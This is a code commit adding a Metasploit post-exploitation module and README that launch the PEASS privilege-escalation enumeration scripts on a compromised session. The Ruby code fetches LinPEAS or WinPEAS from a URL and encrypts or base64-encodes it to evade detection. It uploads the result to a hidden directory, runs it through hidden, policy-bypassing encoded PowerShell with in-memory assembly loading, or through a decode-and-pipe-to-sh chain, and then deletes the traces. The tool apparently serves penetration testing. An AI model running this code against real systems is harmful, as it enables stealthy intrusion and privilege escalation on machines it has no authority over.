metasploit
This commit is contained in:
parent
14def5b064
commit
eb96f247d7
54
metasploit/README.md
Normal file
54
metasploit/README.md
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
# PEASS Post Exploitation Module for Metasploit
|
||||||
|
|
||||||
|
You can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**.
|
||||||
|
|
||||||
|
## Manual Installation
|
||||||
|
Copy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation.
|
||||||
|
|
||||||
|
In Kali: `sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/`
|
||||||
|
|
||||||
|
Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**.
|
||||||
|
|
||||||
|
## How to use it
|
||||||
|
```
|
||||||
|
msf6 exploit(multi/handler) > use post/multi/gather/peass
|
||||||
|
msf6 post(multi/gather/peass) > show info
|
||||||
|
|
||||||
|
Name: Multi PEASS launcher
|
||||||
|
Module: post/multi/gather/peass
|
||||||
|
Platform: BSD, Linux, OSX, Unix, Windows
|
||||||
|
Arch:
|
||||||
|
Rank: Normal
|
||||||
|
|
||||||
|
Provided by:
|
||||||
|
Carlos Polop <@carlospolopm>
|
||||||
|
|
||||||
|
Compatible session types:
|
||||||
|
Meterpreter
|
||||||
|
Shell
|
||||||
|
|
||||||
|
Basic options:
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
PARAMETERS no Parameters to use in the execution of the script
|
||||||
|
PASSWORD qzke5he7u5n6ijcxhlnj2bc2o556xool no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.
|
||||||
|
SESSION yes The session to run this module on.
|
||||||
|
TEMP_DIR no Path to upload the obfuscated PEASS script. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in unix.
|
||||||
|
TIMEOUT 900 no Timeout of the execution of the PEASS script (15min by default)
|
||||||
|
URL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng
|
||||||
|
nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe /master/linPEAS/linpeas.sh
|
||||||
|
|
||||||
|
Description:
|
||||||
|
This module will launch the indicated PEASS (Privilege Escalation
|
||||||
|
Awesome Script Suite) script to enumerate the system. You need to
|
||||||
|
indicate the URL or local path to LinPEAS if you are in some Unix or
|
||||||
|
to WinPEAS if you are in Windows.
|
||||||
|
|
||||||
|
References:
|
||||||
|
https://github.com/carlospolop/PEASS-ng
|
||||||
|
https://www.youtube.com/watch?v=9_fJv_weLU0
|
||||||
|
```
|
||||||
|
|
||||||
|
The options are pretty self-explanatory. Just notice that you can set parametes like "-h" in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*).
|
||||||
|
|
||||||
|
**IMPORTANT**: You won't see any result until the execution of the script is completed.
|
262
metasploit/peass.rb
Normal file
262
metasploit/peass.rb
Normal file
@ -0,0 +1,262 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'uri'
|
||||||
|
require 'net/http'
|
||||||
|
require 'base64'
|
||||||
|
require 'openssl'
|
||||||
|
require 'tempfile'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info(info,
|
||||||
|
'Name' => 'Multi PEASS launcher',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system.
|
||||||
|
You need to indicate the URL or local path to LinPEAS if you are in some Unix or to WinPEAS if you are in Windows.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Carlos Polop <@carlospolopm>'
|
||||||
|
],
|
||||||
|
'Platform' => %w{ bsd linux osx unix win },
|
||||||
|
'SessionTypes' => ['shell', 'meterpreter'],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://github.com/carlospolop/PEASS-ng'],
|
||||||
|
['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'],
|
||||||
|
]
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh', "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe"]),
|
||||||
|
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
||||||
|
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
||||||
|
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
||||||
|
OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15*60])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
ps_var1 = rand(36**5).to_s(36) #Winpeas PS needed variable
|
||||||
|
|
||||||
|
# Load PEASS script in memory
|
||||||
|
peass_script = load_peass()
|
||||||
|
print_good("PEASS script successfully retreived.")
|
||||||
|
|
||||||
|
# Obfuscate loaded PEASS script
|
||||||
|
if datastore["PASSWORD"].length > 1
|
||||||
|
# If no Windows, check if openssl exists
|
||||||
|
if !session.platform.include?("win")
|
||||||
|
openssl_path = cmd_exec("command -v openssl")
|
||||||
|
raise 'openssl not found in victim, unset the password of the module!' unless openssl_path.include?("openssl")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Get encrypted PEASS script in B64
|
||||||
|
print_status("Encrypting PEASS and encoding it in Base64...")
|
||||||
|
|
||||||
|
# Needed code to decrypt from unix
|
||||||
|
if !session.platform.include?("win")
|
||||||
|
aes_enc_peass_ret = aes_enc_peass(peass_script)
|
||||||
|
peass_script_64 = aes_enc_peass_ret["encrypted"]
|
||||||
|
key_hex = aes_enc_peass_ret["key_hex"]
|
||||||
|
iv_hex = aes_enc_peass_ret["iv_hex"]
|
||||||
|
decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}"
|
||||||
|
|
||||||
|
# Needed code to decrypt from Windows
|
||||||
|
else
|
||||||
|
# As the PS function is only capable of decrypting readable strings
|
||||||
|
# in Windows we encrypt the B64 of the binary and then load it in memory
|
||||||
|
# from the initial B64. Then: original -> B64 -> encrypt -> B64
|
||||||
|
aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) #Base64 before encrypting it
|
||||||
|
peass_script_64 = aes_enc_peass_ret["encrypted"]
|
||||||
|
key_b64 = aes_enc_peass_ret["key_b64"]
|
||||||
|
iv_b64 = aes_enc_peass_ret["iv_b64"]
|
||||||
|
load_winpeas = get_ps_aes_decr()
|
||||||
|
|
||||||
|
ps_var2 = rand(36**6).to_s(36)
|
||||||
|
load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};"
|
||||||
|
load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));"
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
# If no Windows, check if base64 exists
|
||||||
|
if !session.platform.include?("win")
|
||||||
|
openssl_path = cmd_exec("command -v base64")
|
||||||
|
raise 'base64 not found in victim, set a 32B length password!' unless openssl_path.include?("base64")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Encode PEASS script
|
||||||
|
print_status("Encoding PEASS in Base64...")
|
||||||
|
peass_script_64 = Base64.encode64(peass_script)
|
||||||
|
|
||||||
|
# Needed code to decode it in Unix and Windows
|
||||||
|
decode_linpeass_cmd = "base64 -d"
|
||||||
|
load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));"
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write obfuscated PEASS to a local file
|
||||||
|
file = Tempfile.new('peass_metasploit')
|
||||||
|
file.write(peass_script_64)
|
||||||
|
file.rewind
|
||||||
|
|
||||||
|
# Upload file to victim
|
||||||
|
temp_peass_name = rand(36**5).to_s(36)
|
||||||
|
if datastore["TEMP_DIR"] != ""
|
||||||
|
temp_path = datastore["TEMP_DIR"]
|
||||||
|
if temp_path[0] == "/"
|
||||||
|
temp_path = temp_path + "/#{temp_peass_name}"
|
||||||
|
else
|
||||||
|
temp_path = temp_path + "\\#{temp_peass_name}"
|
||||||
|
end
|
||||||
|
|
||||||
|
elsif session.platform.include?("win")
|
||||||
|
temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"
|
||||||
|
else
|
||||||
|
temp_path = "/tmp/#{temp_peass_name}"
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Uploading obfuscated peass to #{temp_path}...")
|
||||||
|
upload_file(temp_path, file.path)
|
||||||
|
print_good("Uploaded")
|
||||||
|
|
||||||
|
# Run PEASS script
|
||||||
|
begin
|
||||||
|
tmpout = "\n"
|
||||||
|
print_status "Running PEASS..."
|
||||||
|
|
||||||
|
# If Windows, suppose Winpeas was loaded
|
||||||
|
if session.platform.include?("win")
|
||||||
|
cmd = "$#{ps_var1} = Get-Content -Path #{temp_path};"
|
||||||
|
cmd += load_winpeas
|
||||||
|
cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");"
|
||||||
|
cmd += "del #{temp_path};"
|
||||||
|
|
||||||
|
# Transform to Base64 in UTF-16LE format
|
||||||
|
cmd_utf16le = cmd.encode("utf-16le")
|
||||||
|
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
||||||
|
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"])
|
||||||
|
|
||||||
|
# If unix, then, suppose linpeas was loaded
|
||||||
|
else
|
||||||
|
tmpout << cmd_exec("cat #{temp_path} | #{decode_linpeass_cmd} | sh -s -- #{datastore['PARAMETERS']}; rm #{temp_path}", args=nil, time_out=datastore["TIMEOUT"])
|
||||||
|
end
|
||||||
|
|
||||||
|
print "\n#{tmpout}\n\n"
|
||||||
|
command_log = store_loot("PEASS", "text/plain", session, tmpout, "peass.txt", "PEASS script execution")
|
||||||
|
print_good("PEASS output saved to: #{command_log}")
|
||||||
|
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_bad("Error Running PEASS: #{e.class} #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Close and delete the temporary file
|
||||||
|
file.close
|
||||||
|
file.unlink
|
||||||
|
end
|
||||||
|
|
||||||
|
def load_peass
|
||||||
|
# Load the PEASS script from a local file or from Internet
|
||||||
|
peass_script = ""
|
||||||
|
url_peass = datastore['URL']
|
||||||
|
|
||||||
|
if url_peass.include?("http://") || url_peass.include?("https://")
|
||||||
|
target = URI.parse url_peass
|
||||||
|
raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||||
|
raise 'Invalid URL' if target.host.to_s.eql? ''
|
||||||
|
|
||||||
|
res = Net::HTTP.get_response(target)
|
||||||
|
peass_script = res.body
|
||||||
|
|
||||||
|
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||||
|
|
||||||
|
else
|
||||||
|
raise "PEASS local file (#{url_peass}) does not exist!" unless ::File.exist?(url_peass)
|
||||||
|
peass_script = File.read(url_peass)
|
||||||
|
raise "Something falied reading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||||
|
end
|
||||||
|
|
||||||
|
return peass_script
|
||||||
|
end
|
||||||
|
|
||||||
|
def aes_enc_peass(peass_script)
|
||||||
|
# Encrypt the PEASS script with aes
|
||||||
|
key = datastore["PASSWORD"]
|
||||||
|
iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv
|
||||||
|
|
||||||
|
c = OpenSSL::Cipher.new('aes-256-cbc').encrypt
|
||||||
|
c.iv = iv
|
||||||
|
c.key = key
|
||||||
|
encrypted = c.update(peass_script) + c.final
|
||||||
|
encrypted = [encrypted].pack('m')
|
||||||
|
|
||||||
|
return {
|
||||||
|
"encrypted" => encrypted,
|
||||||
|
"key_hex" => key.unpack('H*').first,
|
||||||
|
"key_b64" => Base64.encode64(key).strip,
|
||||||
|
"iv_hex" => iv.unpack('H*').first,
|
||||||
|
"iv_b64" => Base64.encode64(iv).strip
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_ps_aes_decr
|
||||||
|
# PS code to decrypt Winpeas
|
||||||
|
return '# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86
|
||||||
|
function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) {
|
||||||
|
[byte[]] $encrypted = [Convert]::FromBase64String($encrypted);
|
||||||
|
[byte[]] $key = [Convert]::FromBase64String($key)
|
||||||
|
[byte[]] $iv = [Convert]::FromBase64String($iv)
|
||||||
|
|
||||||
|
# Declare the stream used to encrypt to an in memory
|
||||||
|
# array of bytes.
|
||||||
|
[System.IO.MemoryStream] $msDecrypt
|
||||||
|
|
||||||
|
# Declare the RijndaelManaged object
|
||||||
|
# used to encrypt the data.
|
||||||
|
[System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged
|
||||||
|
|
||||||
|
[String] $plainText=""
|
||||||
|
|
||||||
|
try {
|
||||||
|
# Create a RijndaelManaged object
|
||||||
|
# with the specified key and IV.
|
||||||
|
$aesAlg = new-object System.Security.Cryptography.RijndaelManaged
|
||||||
|
$aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||||
|
$aesAlg.KeySize = 256
|
||||||
|
$aesAlg.BlockSize = 128
|
||||||
|
$aesAlg.key = $key
|
||||||
|
$aesAlg.IV = $iv
|
||||||
|
|
||||||
|
# Create an encryptor to perform the stream transform.
|
||||||
|
[System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV);
|
||||||
|
|
||||||
|
# Create the streams used for encryption.
|
||||||
|
$msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted)
|
||||||
|
$csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
|
||||||
|
$srDecrypt = new-object System.IO.StreamReader($csDecrypt)
|
||||||
|
|
||||||
|
#Write all data to the stream.
|
||||||
|
$plainText = $srDecrypt.ReadToEnd()
|
||||||
|
$srDecrypt.Close()
|
||||||
|
$csDecrypt.Close()
|
||||||
|
$msDecrypt.Close()
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
# Clear the RijndaelManaged object.
|
||||||
|
if ($aesAlg -ne $null){
|
||||||
|
$aesAlg.Clear()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Return the Decrypted bytes from the memory stream.
|
||||||
|
return $plainText
|
||||||
|
}
|
||||||
|
'
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue
Block a user